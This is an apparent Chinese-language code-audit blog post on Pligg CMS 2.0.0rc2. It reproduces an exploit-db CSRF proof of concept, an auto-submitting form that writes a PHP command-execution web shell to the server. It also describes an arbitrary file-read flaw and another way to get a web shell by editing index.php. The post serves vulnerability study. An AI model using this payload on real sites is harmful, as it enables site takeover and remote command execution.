标签归档:白盒测试

代码审计—–从看别人的exp或者Poc学起(1)

审计目标为我在exploit-db网上看见的

Pligg CMS 2.0.0rc2 – CSRF File Creation Vulnerability

-Create File by CSRF Exploit-
<html>
<body onload="document.form.submit();">
<form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form">
<input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>">
<input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php">
<input type="hidden" name="isempty" value="1">
<input type="hidden" name="save" value="Save+Changes">
</form>
</body>
</html>

上面为漏洞利用代码的exp,接下来我们看看源代码。

我后来分析了下,还有一个漏洞,为查看任意页面源代码漏洞,不过需要登录到后台才可行,都说后台是防御最薄弱的地方,一点都没错。
第一个漏洞利用,因为Post参数the_file没有过滤,加上fread函数可以查看页面内容,接下来我们构造一个存在的文件,由于我是在wamp开发,所以我就实现查看下这个admin_editor.php文件代码。代码修改如下:

-<select class="input-xlarge" name="the_file">
<option value="admin_editor.php">../templates/bootstrap/about_box.tpl</option>

效果图如下:

然后第二个漏洞就是该作者在exploit-db网上发现的csrf getshell漏洞。作者是创建一个新文件,然后写入一个web后门,拿到webshell.

我们可以用另外一个方法也是可以用来getshell,先利用第一个漏洞编辑站点目录index.php,接着我们编辑保存下。

然后运保存成功后,查看index.php,然后就生成了test.php文件